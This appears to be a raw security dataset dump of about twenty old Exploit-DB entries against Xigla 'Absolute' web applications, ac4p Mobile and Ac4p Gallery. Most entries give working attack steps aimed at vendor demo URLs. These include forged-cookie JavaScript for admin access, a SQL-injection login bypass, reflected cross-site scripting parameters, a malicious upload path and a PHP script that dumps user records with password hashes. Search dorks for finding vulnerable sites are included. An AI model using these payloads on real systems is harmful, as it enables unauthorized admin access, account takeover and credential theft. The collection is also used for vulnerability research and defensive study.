deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6902
Description: Absolute FAQ Manager 6.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: Hakxer

Exploit:
#####################################################################################
# Discovered by : Hakxer                                                            #
# Script : Absolute FAQ Manager http://www.xigla.com/absolutefmnet/demo.htm         #
# Greetz : Allah , All My friend ,www.educ-up.com                                   #
# -------------------------------                                                   #
# Poc :                                                                             #
# javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s=";                   #
#                                                                                   #
# [~] Exploit                                                                       #
#                                                                                   #
# Go To admin login : http://www.xigla.com/absolutefmnet/demo/login.aspx            #
# Execute JS Code : javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s="; #
# Now Go to :http://www.xigla.com/absolutefmnet/demo/menu.aspx                      #
# 								                    #
# Absolute Products .. Crashed ( Insecure Cookie Vulnerability )                    #
#####################################################################################

# milw0rm.com [2008-10-31]
Exploit-DB #6881
Description: Absolute File Send 1.0 - Remote Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-30
Author: Hakxer

Exploit:
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

# Author : Hakxer
# Home : Www.educ-up.com
# Type Gap : Insecure cookie handling 
# script : Absloute File Send [see script] http://www.xigla.com/afilesend/demo.htm
# Greetz : Allah , Egyptian x Hacker , all my team , All educ-up member
# Team : EgY Coders 
#################################################################################################

# Dork : "Powered by Absolute File Send"

# First go to Admin panel : http://www.xigla.com/afilesend/demo/login.aspx
# Exploit :
# [~]  javascript:document.cookie="xlaAFSuser=p=admin";
# Second Go to http://www.xigla.com/afilesend/demo/menu.aspx
# See Admin panel .. 

# Have Fun :D


###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-30]
Exploit-DB #6891
Description: Absolute Form Processor 4.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: Hakxer

Exploit:
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Author : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Form Processor [see script] http://www.xigla.com/absolutefpnet/demo.htm
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutefpnet/demo/login.aspx
Second Execute JS Code 
[~] javascript:document.cookie="xlaAFPDEMOadmin=userid=1&lvl=1&createforms=checked";
Now Go to http://www.xigla.com/absolutefpnet/demo/menu.aspx

--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31]
Exploit-DB #8386
Description: Absolute Form Processor XE-V 1.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-09
Author: ThE g0bL!N

Exploit:
-----------------------------------------------------
-----------------------------------------------------
Absolute Form Processor XE-V 1.5 (auth Bypass) Remote Sql Injecion
-----------------------------------------------------
Founder: ThE g0bL!N(Dz)
Home: www.h4ckf0ru.com
Vive Algerie
# demo : http://www.xigla.com/absolutefp/demo/

Note : Les Algerien Rasa wa Li Yekhreb Fina Basa :)
-----------------------------------------------------------
-----------------------------------------------------------
exploit
-------
http://www.xigla.com/absolutefp/demo/login.asp
username:  ' or '1=1
Password:  ThE g0bL!N Or any Thing

demo:
-----
http://www.xigla.com/absolutefp/demo/login.asp
------------------------------------------------------
------------------------------------------------------
Thanx  :
           M0nSt3r-Dz - Master_FinaL - Dr-HTmL - Super Cristal- Hcoca_Man - Dreadful 
            Yassine_Enp- ViRuS_HaCkEr_Dz-Mr.JOoMJOoM-Naili- Str0ke - Milw0rm.com
------------------------------------------------------------------------------------
www.h4ckf0ru.com/vb/
------------------------------------------------------------------------------------

# milw0rm.com [2009-04-09]
Exploit-DB #6892
Description: Absolute Live Support 5.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: Hakxer

Exploit:
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Discovered By: Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Live Support  [see script] http://www.xigla.com/absolutelsnet/demo.htm
[~] Greetz : Allah , Egyptian x hacker , All my team , All educ-up Member
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutelsnet/demo/login.aspx
Second Execute JS Code 
[~] javascript:document.cookie="xlaALSDEMOadmin=userid=1&lvl=1&nick=admin&mywelcome=Hi, How may I help you";
Now Go to http://www.xigla.com/absolutelsnet/demo/menu.aspx

--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31]
Exploit-DB #6901
Description: Absolute News Feed 1.0 - Remote Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: Hakxer

Exploit:
########################################################################
# Discovered by : Hakxer                                               #
# Script : Absolute News Feed http://www.xigla.com/absolutenf/demo.htm #
# Greetz : Allah , All My friend ,www.educ-up.com                      #
# -------------------------------                                      #
# Poc :                                                                #
# javascript:document.cookie="xlaAFSuser=p=admin";                     #
#                                                                      #
# [~] Exploit                                                          #
#                                                                      #
# Go To admin login : http://www.xigla.com/absolutenf/demo/login.aspx  #
# Execute JS Code : javascript:document.cookie="xlaAFSuser=p=admin";   #
# Now Go to :http://www.xigla.com/absolutenf/demo/menu.aspx            #
# 								       #
# Absolute Products .. Crashed ( Insecure Cookie Vulnerability )       #
########################################################################

# milw0rm.com [2008-10-31]
Exploit-DB #6900
Description: Absolute News Manager 5.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: Hakxer

Exploit:
#################################################################################
## Discovered by : Hakxer                                                       #
## Script : Absolute News Manager :http://www.xigla.com/absolutenmnet/demo.htm  #
## Greetz : Allah , Egyptian x Hacker , SQL_Inj4ct0r , Stealth , All my team    #
## Team : EgY Coders Team                                                       #
## ----------------------------Start Exploit----------------------------------- #
## First Go to http://www.xigla.com/absolutenmnet/demo/login.aspx
## Execute JS Code : javascript:document.cookie="xlaANMadmin_demo=usr=1&lvl=2&uniqueid=&permissions=upload,relate";
## Second Go to http://www.xigla.com/absolutenmnet/demo/menu.aspx
## _=END=_
#############################################################################

# milw0rm.com [2008-10-31]
Exploit-DB #6904
Description: Absolute NewsLetter 6.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: x0r

Exploit:
-=======================================-
Autore: x0r
Cms = Absolute Newsletter 6.1
Bug: Insecure Cookie Handling Vulnerability
-=======================================-


Exploit:
javascript:document.cookie="xlaANLDEMOadmin=lvl=1&userid=1&usr=admin&s=TYPE
A SERIES OF RANDOM NUMBERS AND CHARACTERS HERE; path=/"; and go to
/menu.aspx

Live Demo: http://www.xigla.com/absolutenl/demo

[-] King Lion Gay
[+] Margherita Ti Amo...I'm Sorry...

_EOF_

# milw0rm.com [2008-10-31]
Exploit-DB #6882
Description: Absolute Podcast 1.0 - Remote Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-30
Author: Hakxer

Exploit:
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

# Discovered By : Hakxer
# Home : Www.educ-up.com
# Type Gap : Insecure cookie handling 
# script : Absloute Podcast V 1.0 [see script] http://www.xigla.com/apodcasting/demo.htm
# Greetz : Allah , Egyptian x Hacker , all my team , All educ-up member
# Team : EgY Coders 
#################################################################################################

# Dork : "Powered by Absolute Podcast "

# Poc 
==> javascript:document.cookie="xlaAPCuser=userid=1&lvl=1&s=";

# Live Script 

# First go to Admin panel : http://www.xigla.com/apodcasting/demo/login.aspx
# [~]  javascript:document.cookie="xlaAPCuser=userid=1&lvl=1&s=";
# Second Go to http://www.xigla.com/apodcasting/demo/menu.aspx
# See Admin panel .. 

# Have Fun :D

###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-30]
Exploit-DB #6883
Description: Absolute Poll Manager XE 4.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-30
Author: Hakxer

Exploit:
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

# Discovered By : Hakxer
# Home : Www.educ-up.com
# Type Gap : Insecure cookie handling 
# script : Absolute Poll Manager XE v 4.1 [see script] http://www.xigla.com/absolutepm/demo.htm
# Greetz : Allah , Egyptian x Hacker , all my team , All educ-up member
# Team : EgY Coders 
#################################################################################################

# Dork : " Absolute Poll Manager XE "

# Poc 
==> javascript:document.cookie="xlaAPM%5Fusr=administrator";

# Demo Script < Test> 

# First go to Admin panel : http://www.xigla.com/absolutepm/xlaabsolutepm/login.asp
# [~] Exploit this : javascript:document.cookie="xlaAPM%5Fusr=administrator";
# And Go to http://www.xigla.com/absolutepm/xlaabsolutepm/menu.asp
# See Admin panel .. 

# Have Fun :D

###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-30]
Exploit-DB #28905
Description: ac4p Mobile - '/cp/index.php?pagenav' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-03
Author: AL-garnei

Exploit:
source: https://www.securityfocus.com/bid/20895/info
     
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/path/cp/index.php?pagenav={XSS}
Exploit-DB #28900
Description: ac4p Mobile - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-03
Author: AL-garnei

Exploit:
source: https://www.securityfocus.com/bid/20895/info

Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/path/index.php?Bloks={XSS}
http://www.example.com/path/index.php?Newnews={XSS}
http://www.example.com/path/index.php?lBlok={XSS}
http://www.example.com/path/index.php?foooot={XSS}
Exploit-DB #28901
Description: ac4p Mobile - 'MobileNews.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-03
Author: AL-garnei

Exploit:
source: https://www.securityfocus.com/bid/20895/info
 
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/path/MobileNews.php?Newnews={XSS}
http://www.example.com/path/MobileNews.php?newmsgs={XSS}
http://www.example.com/path/MobileNews.php?Bloks={XSS}
Exploit-DB #28902
Description: ac4p Mobile - 'polls.php' Multiple Cross-Site Scripting Vulnerabilities (1)
Type: webapps
Platform: php
Date: 2006-11-03
Author: AL-garnei

Exploit:
source: https://www.securityfocus.com/bid/20895/info
  
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/path/polls.php?Newnews={XSS}
Exploit-DB #29226
Description: ac4p Mobile - 'polls.php' Multiple Cross-Site Scripting Vulnerabilities (2)
Type: webapps
Platform: php
Date: 2006-12-04
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/21427/info
 
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/path/polls.php?pollhtml=[xss]
http://www.example.com/path/polls.php?Bloks=[Xss]
Exploit-DB #28903
Description: ac4p Mobile - 'send.php?cats' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-03
Author: AL-garnei

Exploit:
source: https://www.securityfocus.com/bid/20895/info
   
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
http://www.example.com/path/send.php?cats={XSS}
Exploit-DB #28904
Description: ac4p Mobile - 'up.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-03
Author: AL-garnei

Exploit:
source: https://www.securityfocus.com/bid/20895/info
    
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/path/up.php?footer={XSS}
Exploit-DB #29225
Description: ac4p Mobile - 'up.php?Taaa' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-04
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/21427/info

Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/path/up.php?Taaa=[XSS]
Exploit-DB #11519
Description: Ac4p.com Gallery 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-22
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Ac4p.com Gallery v1.0 Mullti Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                             
| # Web Site : www.iq-ty.com                                                                                                                            
| # Dork     : Powered by Ac4p.com Gallery v1.0 , Copyright© 2007 ac4p.com                                         
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 

1 - Upload Vulnerability:
 
 I- http://server/gallery/up.php (To upload Evil )
 
 II- http://server/gallery/userup/[PII_REDACTED].jpg.php (To Find Evil)
 
 2 - Php info:
 
 http://server/gallery/phpinfo.php
 
 3 - XSS:
 
 http://server/gallery/index.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
 
 4 - By Pass:
 
 http://server/gallery/cp/menu.php
 
 Insecure Cookie Handling Vulnerability:
 
 I-   javascript:document.cookie="user_id=userid;path=/";
 II-  javascript:document.cookie="[CREDENTIAL_REDACTED];path=/";
 III- javascript:document.cookie="username=username;path=/";
 IIV- javascript:document.cookie="ok=tmam;path=/";
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)* www.arhack.net
www.securityreason.com * www.packetstormsecurity.org * Cyb3r IntRue (avengers team)* www.sec-war.com
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net*www.alkrsan.net  
--------------------------------------------------------------------------------------------------------------
Exploit-DB #45612
Description: Academic Timetable Final Build 7.0 - Information Disclosure
Type: webapps
Platform: php
Date: 2018-10-15
Author: Ihsan Sencan

Exploit:
<?php
# Exploit Title: Academic Timetable Final Build 7.0a-7.0b - User Information Disclosure
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://geoffpartridge.net/
# Software Link: https://sourceforge.net/projects/timetableacademic/files/latest/download
# Version: 7.0a-7.0b
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
header ('Content-type: text/html; charset=UTF-8');

$urlemiz= "http://192.168.1.27/[PATH]/";
$yuk="server_user.php?sEcho=10&iColumns=10&iDisplayStart=0&iDisplayLength=10&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSearchable_3=0";
$jsonveri = file_get_contents($urlemiz.$yuk);
$ver = json_decode($jsonveri,true);
echo "<pre>\n";
print_r($ver);
echo "\n</pre>";
/**
Array
(
    [sEcho] => 10
    [iTotalRecords] => 3
    [iTotalDisplayRecords] => 3
    [aaData] => Array
        (
            [0] => Array
                (
                    [0] => testdb1
                    [1] => testdb1
                    [2] => ADMIN
                    [3] => *6CC4E8CFFEAF202D7475BC906612F9A29A9C8117
                )

            [1] => Array
                (
                    [0] => ADMIN
                    [1] => admin
                    [2] => ADMIN
                    [3] => *4ACFE3202A5FF5CF467898FC58AAB1D615029441
                )

            [2] => Array
                (
                    [0] => STAFF
                    [1] => Staff
                    [2] => VIEW
                    [3] => 
                )

        )

)
 */
?>